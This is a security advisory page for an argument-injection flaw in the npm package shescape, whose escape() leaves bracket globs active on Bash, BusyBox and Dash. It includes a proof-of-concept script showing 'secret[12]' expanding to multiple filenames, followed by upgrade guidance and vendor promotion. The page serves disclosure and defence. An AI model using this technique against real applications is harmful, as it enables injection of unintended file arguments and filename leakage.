GHSA-9jfh-9xrq-4vwm — shescape
Fix: ericcornelissen/shescape#2410GHSA-9jfh-9xrq-4vwm is a Information Exposure vulnerability in shescape. A fix is available for shescape — see the affected versions and patch details below.
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9jfh-9xrq-4vwm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
shescapenpmDescription
Summary
Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.
Details
The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:
src/internal/unix/bash.js:14-30src/internal/unix/busybox.js:14-30src/internal/unix/dash.js:12-19
They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).
Proof of Concept
Use the published npm tarball without modifications:
tmp=$(mktemp -d)
cd "$tmp"
npm pack [email protected] >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev
node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";
const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");
for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
const shescape = new Shescape({ shell });
const escaped = shescape.escape("secret[12]");
console.log(${shell} escaped=${escaped});
const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
process.stdout.write(out);
}
NODE
Output:
/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>
Expected: the shell receives secret\[12\], so only one literal argument runs.
Impact
Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | shescape | all versions | 2.1.10npm install shescape@2.1.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shescape, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update shescape to 2.1.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9jfh-9xrq-4vwm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9jfh-9xrq-4vwm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9jfh-9xrq-4vwm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9jfh-9xrq-4vwm in your dependencies?
O3 Security finds GHSA-9jfh-9xrq-4vwm across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.